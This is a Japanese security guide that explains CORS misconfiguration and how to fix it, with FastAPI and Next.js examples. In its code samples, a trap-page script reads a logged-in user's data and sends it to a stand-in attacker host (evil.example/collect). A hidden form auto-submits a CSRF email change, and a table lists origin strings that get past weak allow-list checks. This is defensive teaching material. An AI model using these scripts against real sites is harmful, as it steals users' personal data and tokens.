# 🌐 CORS の設定ミス (CORS Misconfiguration)
> **CORS の許可を広げすぎ、罠サイトの JS に、ログイン中の利用者の応答を読ませてしまう設定ミス**

![CORS の設定ミス: 正規の API が届いた Origin をそのまま許して返すので、ブラウザが罠サイトの JS に、利用者の Cookie 付きの応答を渡してしまう。CORS は、同一オリジンポリシーの「別のオリジンの応答は読めない」を緩める設定](cors.svg)

ブラウザは、別のオリジンへ送ったリクエストの応答を、JS に読ませません (同一オリジンポリシー)。CORS は、API が応答のヘッダーで「このオリジンには読ませてよい」と伝え、この制限を緩める仕組みです。許すオリジンを広げすぎると、罠サイトの JS が、利用者の Cookie 付きの応答 (個人情報・トークン) を読めます。<br/>
OWASP Top 10:2025 の A01 (アクセス制御の不備) に入ります。

## 📚 攻撃手順
次の 3 つがそろうと成立します。

![CORS の設定ミスが成立する 3 つの条件: 1. 別サイトからの読み込みにも Cookie が付く、2. 届いたオリジンを許してしまう、3. ログインしたまま罠のページを開く。どれか 1 つでも欠ければ成立しない](conditions.svg)

```mermaid
sequenceDiagram
    autonumber
    actor User as 🥸 利用者 (被害者)
    participant Evil as 👿 罠サイト<br/>evil.example
    participant Api as 🚀 正規の API<br/>api.example

    rect rgb(150, 150, 150)
        Note over User,Api: 1. ふだんどおりログインする
        User->>+Api: ログイン
        Api-->>-User: 🍪 セッション Cookie を発行 (SameSite=None)
    end

    rect rgb(150, 150, 150)
        Note over User,Evil: 2. 罠サイトを開かされる
        User->>+Evil: メールや SNS のリンクから開く
        Evil-->>-User: api.example を読みに行く JS を返す
    end

    rect rgb(150, 100, 100)
        Note over User,Api: 3. 罠の JS が、Cookie 付きで読みに行く
        User->>+Api: GET /me (ブラウザが 🍪 Cookie を付ける)
        Note right of User: Origin: https://evil.example<br/>fetch の credentials: "include" で、Cookie を付けさせる
        Api-->>-User: 個人情報 + Access-Control-Allow-Origin: https://evil.example<br/>Access-Control-Allow-Credentials: true
        Note over User: 許可のヘッダーがある → ブラウザが、罠の JS に応答を渡す
        User->>Evil: (罠の JS が) 読んだ個人情報を送る
    end
```

 - **CSRF との違い**: CSRF は送らせるだけで、応答は読めません ([CSRF の資料](../CSRF/README.md))。CORS の設定ミスは、応答まで読ませます。応答の中の CSRF トークンを読まれると、CSRF の対策も破られます
 - **CORS はサーバーの処理を止めない**: 許可のヘッダーは、ブラウザが JS に応答を渡すかを決めるだけです。許していないオリジンからのリクエストでも、サーバーは処理して応答を返します (ブラウザが JS に渡さないだけ)
 - **プリフライト**: `Content-Type: application/json` や独自ヘッダーを付けると、ブラウザは先に `OPTIONS` (プリフライト) で送ってよいかを聞きます。プリフライトでも同じ判定でオリジンを許すので、許してしまう設定なら、本番のリクエストも送られます

<details><summary>💻 <b>コードで見る: ⑤ ⑥ でブラウザは何を見て、罠の JS に応答を渡すか</b></summary>

④ で罠サイトが返す HTML

```html
<!-- https://evil.example/ が返すページ -->
<script>
  // credentials: "include" で、api.example の Cookie を付けて送らせる
  fetch("https://api.example/me", { credentials: "include" })
    .then((response) => response.json())
    .then((me) => {
      // ⑦ 読めた個人情報を、攻撃者のサーバーへ送る
      navigator.sendBeacon("https://evil.example/collect", JSON.stringify(me));
    });
</script>
```

⑤ で、ブラウザは次のリクエストを送ります。`Origin` はブラウザが付け、罠の JS からは書き換えられません。

```http
GET /me HTTP/1.1
Host: api.example
Origin: https://evil.example
Sec-Fetch-Site: cross-site
Cookie: session=abc123
```

⑥ で狙われる API の実装 (FastAPI の例)

```python
from fastapi.middleware.cors import CORSMiddleware

# 「どこから呼ばれても動くように」と、すべてのオリジンを許した
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_credentials=True,
    allow_methods=["*"],
    allow_headers=["*"],
)
```

`*` と `allow_credentials=True` を組み合わせると、Starlette (FastAPI の CORS の実装) は `*` ではなく、届いた `Origin` をそのまま返します。⑥ の応答は次のとおりです。

```http
HTTP/1.1 200 OK
Content-Type: application/json
Access-Control-Allow-Origin: https://evil.example
Access-Control-Allow-Credentials: true
Vary: Origin

{"email": "user@example.com", "address": "..."}
```

ブラウザは、応答のヘッダーを見て、JS に渡すかを決めます。Cookie を付けた fetch では、次のようになります。

| 応答のヘッダー | 罠の JS に渡すか |
|:--|:--|
| `Access-Control-Allow-Origin` が無い | ❌ 渡さない (同一オリジンポリシーのまま) |
| `Access-Control-Allow-Origin: https://app.example` | ❌ 渡さない (オリジンが違う) |
| `Access-Control-Allow-Origin: *` | ❌ 渡さない (Cookie を付けた fetch には、`*` が効かない) |
| `Access-Control-Allow-Origin: https://evil.example` と `Access-Control-Allow-Credentials: true` | ✅ 渡す (⑥) |

`*` だけなら Cookie 付きの応答は読まれません。危ないのは、届いた `Origin` をそのまま返すことです。<br/>
許可リストを自分で確かめる書き方でも、確かめ方が甘いと、次のオリジンが通ります。

| 渡されるオリジン | 通ってしまう確かめ方 |
|:--|:--|
| `https://evil-example.com` | 正規表現 `https://.*example\.com` (`.*` が `evil-` に当たる) |
| `https://notexample.com` | 末尾だけを比べる (`origin.endswith("example.com")`) |
| `https://app.example.com.evil.net` | 先頭だけを比べる (`origin.startswith("https://app.example.com")`・`re.match`) |
| `https://xapp.example.com.evil.net` | 前後のどちらも固定しない (`re.search(r"app\.example\.com", origin)`・`"app.example.com" in origin`) |
| `null` | 許可リストに `null` を入れる。サンドボックスの iframe や、ファイルから開いたページの `Origin` は `null` になり、攻撃者も作れる |
| `http://app.example.com` | スキームを見ずに、ホストだけを比べる。HTTP の通信は途中で書き換えられ、JS を入れられる |
| `https://old.example.com` | サブドメインをまとめて許す。乗っ取られたサブドメインや、XSS のあるサブドメインからも読まれる |

</details>

## 💥 被害例
罠のページを開いただけで、利用者として API を読まれます。

| 狙われる API | 被害 |
|:--|:--|
| 個人情報 (`/me`・注文の履歴・メッセージ) | 個人情報を読まれ、外へ送られる |
| CSRF トークン・API キーを返す API | 読んだトークンで、CSRF の対策を破られる・API を利用者として呼ばれる (例: 2016 年に PortSwigger の調査で、届いた Origin をそのまま返すビットコインの取引所などが見つかった) |
| 社内ネットワークの API (IP で認証する) | 社員のブラウザを踏み台にして、外から届かない API を読まれる。Cookie が要らないので、`Access-Control-Allow-Origin: *` でも読まれる |

## 🛡️ 対策
ケースごとに、次の対策を組み合わせます。MUST は必ず、SHOULD は当てはまらない理由が無い限り、WANT は必要なときに実装します。

| ケース | 対策 |
|:--|:--|
| ブラウザから API を呼ばない (BFF) | 🪪 CORS を設定しない |
| 決まった画面 (別のオリジン) から、Cookie 付きで呼ぶ | 📋 許可リスト・🚫 Origin をそのまま返さない |
| サブドメインをまとめて許す | 🔤 正規表現の前後と区切りを固定する |
| 誰でも読んでよい公開の API (認証なし) | `*` だけにして、`allow_credentials` を付けない |
| 画面と API が同じサイト (サブドメイン違い) | 🍪 SameSite=Lax の Cookie |
| どのケースでも | 📏 メソッドとヘッダーを絞る・🧭 CORS を CSRF の対策にしない |

<details><summary>[MUST] 📋 <b>許可リスト / 読ませてよいオリジンを、完全一致で列挙する</b></summary>

```python
from fastapi.middleware.cors import CORSMiddleware

app.add_middleware(
    CORSMiddleware,
    # 画面のオリジンを、スキーム・ホスト・ポートまで完全一致で列挙する
    allow_origins=["https://app.example.com"],
    allow_credentials=True,
    # ... メソッドとヘッダーは 📏 で絞る
)
```

⑤ の `Origin: https://evil.example` は許可リストに無いので、`Access-Control-Allow-Origin` が付かず、ブラウザは罠の JS に応答を渡しません。

 - ⚠️ 開発用のオリジン (`http://localhost:3000`) を、本番の許可リストに残さないでください。環境ごとに設定から読みます
 - ⚠️ 許可リストは、読ませるかを決めるだけです。誰が呼んでいるかの確認 (認証・認可) の代わりにはなりません。`Origin` は、ブラウザ以外 (curl など) からは自由に送れます

</details>

<details><summary>[MUST] 🚫 <b>Origin をそのまま返さない / * と credentials を組み合わせない・null を許さない</b></summary>

```python
# ... import (省く)


# ❌ 1. 届いた Origin を、確かめずにそのまま返す。どのオリジンも許したのと同じ
@app.middleware("http")
async def add_cors_headers(request: Request, call_next):
    response = await call_next(request)
    if (origin := request.headers.get("origin")) is not None:
        response.headers["Access-Control-Allow-Origin"] = origin
        response.headers["Access-Control-Allow-Credentials"] = "true"
    return response


# ❌ 2. "*" と allow_credentials を組み合わせる。Starlette は、届いた Origin をそのまま返す (1 と同じになる)
app.add_middleware(CORSMiddleware, allow_origins=["*"], allow_credentials=True)

# ❌ 3. null を許す。サンドボックスの iframe から送ると Origin が null になるので、攻撃者も使える
app.add_middleware(CORSMiddleware, allow_origins=["https://app.example.com", "null"], allow_credentials=True)
```

CORS のヘッダーは自分で書かず、`CORSMiddleware` に許可リスト (📋) を渡します。プリフライトの扱いや `Vary: Origin` も、ミドルウェアがまとめて行います。

 - ⚠️ 誰でも読んでよい公開の API なら、`allow_origins=["*"]` だけにして、`allow_credentials` を付けません。ブラウザは Cookie を付けた fetch に `*` を効かせないので、Cookie 付きの応答は読まれません
 - ⚠️ `Access-Control-Allow-Credentials: true` を付けるのは、Cookie 付きで呼ばれる必要があるときだけです

</details>

<details><summary>[MUST] 🔤 <b>正規表現で許すなら、前後と区切りを固定する / evil-example.com や example.com.evil.net を通さない</b></summary>

```python
# ❌ .* が evil- に当たり、https://evil-example.com も通る
app.add_middleware(CORSMiddleware, allow_origin_regex=r"https://.*example\.com", allow_credentials=True)

# ✅ 区切りの . まで書く。サブドメインに使える文字だけを許す
app.add_middleware(CORSMiddleware, allow_origin_regex=r"https://[a-z0-9-]+\.example\.com", allow_credentials=True)
```

Starlette は `allow_origin_regex` を `fullmatch` で比べるので、前後は固定されます (`https://app.example.com.evil.net` は通らない)。<br/>
自分で正規表現を比べるときも、`fullmatch` を使います。

```python
import re

ALLOWED_ORIGIN = re.compile(r"https://[a-z0-9-]+\.example\.com")


def is_allowed_origin(origin: str) -> bool:
    # re.match は末尾を、re.search は前後を固定しない。fullmatch は文字列全体と比べる
    return ALLOWED_ORIGIN.fullmatch(origin) is not None
```

 - ⚠️ この正規表現は `https://example.com` (サブドメインの無いオリジン) を通しません。要るなら `allow_origins` に足します
 - ⚠️ サブドメインをまとめて許すと、乗っ取られたサブドメイン (消し忘れた DNS のレコードが、他人のサービスを指したまま) や、XSS のあるサブドメインからも読まれます。できれば 📋 で列挙します

</details>

<details><summary>[SHOULD] 📏 <b>メソッドとヘッダーを絞る / 使わないものまで許さない</b></summary>

```python
app.add_middleware(
    CORSMiddleware,
    allow_origins=["https://app.example.com"],
    allow_credentials=True,
    # 画面が使うものだけを許す。"*" にしない
    allow_methods=["GET", "POST", "PATCH", "DELETE"],
    allow_headers=["Content-Type"],
    # プリフライトの結果を、ブラウザが覚えておく秒数 (既定は 600)
    max_age=600,
)
```

`allow_headers=["*"]` にすると、Starlette はプリフライトで求められたヘッダーを、すべてそのまま許して返します。

 - ⚠️ CORS のヘッダーを自分で付けるときは、`Vary: Origin` も付けます。付けないと、CDN などのキャッシュが、あるオリジン向けの応答を、別のオリジンにも返します (`CORSMiddleware` は自動で付ける)

</details>

<details><summary>[SHOULD] 🍪 <b>Cookie は SameSite=Lax にする / 別サイトの fetch に Cookie を付けさせない</b></summary>

```ts
// セッション Cookie を発行するときの属性 (Next.js の cookies().set などに渡す)
const attributes = {
  httpOnly: true,
  secure: true, // HTTPS でだけ送る
  sameSite: "lax",
  path: "/",
} as const;
```

`SameSite=Lax` の Cookie は、別サイトからの fetch に付きません。⑤ が Cookie 無しで届くので、CORS の設定を誤っても、利用者として読まれません (条件 1 が欠ける)。

 - ⚠️ 「サイト」は登録可能なドメインの単位 (`example.com`) です。同じサイトのサブドメイン (`old.example.com`) からの fetch には、Lax の Cookie も付きます
 - ⚠️ 画面と API が別のサイト (例: `app.example` から `api.example2`) にあると、Lax の Cookie は正規の画面の fetch にも付きません。その場合は `SameSite=None` が要り、MUST の対策 (📋・🚫) だけが守りになります
 - ⚠️ ブラウザによっては、別サイトへの Cookie (サードパーティ Cookie) を既定で付けません。それに頼らず、Cookie に SameSite を明示します

</details>

<details><summary>[SHOULD] 🧭 <b>CORS を CSRF の対策にしない / CORS は読ませるかを決めるだけで、送信は止めない</b></summary>

```html
<!-- CORS の設定に関係なく、罠サイトから送れる (応答は読めないが、処理はされる) -->
<form action="https://api.example/email" method="POST">
  <input type="hidden" name="email" value="attacker@evil.example">
</form>
<script>document.forms[0].submit();</script>
```

フォームの送信や、プリフライトの要らない fetch は、CORS の許可が無くてもサーバーに届き、処理されます。状態を変える操作は、[CSRF の対策](../CSRF/README.md) (SameSite・`Origin` / `Sec-Fetch-Site` の確認) で守ります。

 - ⚠️ 「CORS で許したオリジンからしか呼ばれない」と考えて、ほかの確認を省かないでください

</details>

<details><summary>[WANT] 🪪 <b>(設計) ブラウザから API を直接呼ばない / 画面のサーバー (BFF) だけが API を呼び、CORS を要らなくする</b></summary>

```mermaid
flowchart LR
  browser["🖥️ ブラウザ<br/>app.example"] -->|"同じオリジン (Cookie)"| bff["⚛️ Next.js のサーバー<br/>app.example"]
  bff -->|"サーバーから (Authorization: Bearer)"| api["🚀 API<br/>api.example"]
  browser -.-x|"直接は呼ばない"| api
```

ブラウザは同じオリジンの Next.js のサーバーだけを呼び、API は Next.js のサーバーが呼びます。ブラウザから別のオリジンを読まないので、API に CORS の許可が要りません。

この形なら、API (FastAPI) に CORS の設定は要りません。ブラウザの CSP を `connect-src 'self'` にすると、別のオリジンへの fetch も止められます。

 - ⚠️ 画面と API を別のオリジンに分け、ブラウザから直接呼ぶ形に変えるときは、MUST の対策を入れます

</details>

詳しくは [OWASP の HTML5 Security Cheat Sheet の Cross Origin Resource Sharing](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#cross-origin-resource-sharing) にまとまっています。
